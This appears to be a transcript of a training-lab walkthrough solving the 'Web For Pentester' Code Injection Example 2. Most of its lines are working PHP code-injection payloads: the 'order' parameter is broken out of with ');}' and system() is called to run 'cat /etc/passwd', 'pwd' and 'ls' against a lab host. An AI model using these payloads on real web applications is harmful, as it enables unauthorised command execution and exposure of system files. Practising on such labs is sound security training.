Web For Pentester Code Injection Example 2 Solution
iSpeech.org
Web For Pentester Code Injection Example 2 Solution.
Code Injection, or Remote Code Execution (RCE) refers to an attack where in an attacker is able to execute malicious code as a result of an injection attack. Code Injection differs from Command Injection since an attacker is confined to the limitations of the language executing the injected code.
Code Injection.
http://192.168.174.133/codeexec/example2.php?order=id);} system(' cat /etc/passwd');#
);} system(' cat /etc/passwd');#
http://192.168.174.133/codeexec/example2.php?order=id)%3b} system(%27 cat %2fetc%2fpasswd%27)%3b%23
Ecoded Url
cat /etc/passwd
)%3b} system(%27 cat %2fetc%2fpasswd%27)%3b%23
pwd
http://192.168.174.133/codeexec/example2.php?order=id)%3b} system(%27pwd%27)%3b%23
ls
http://192.168.174.133/codeexec/example2.php?order=id)%3b} system(%27ls%27)%3b%23
that's it for this video. see you in next video.
IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.
THANKS FOR WATCHING.
2018-09-05 09:40:07
source
Gloss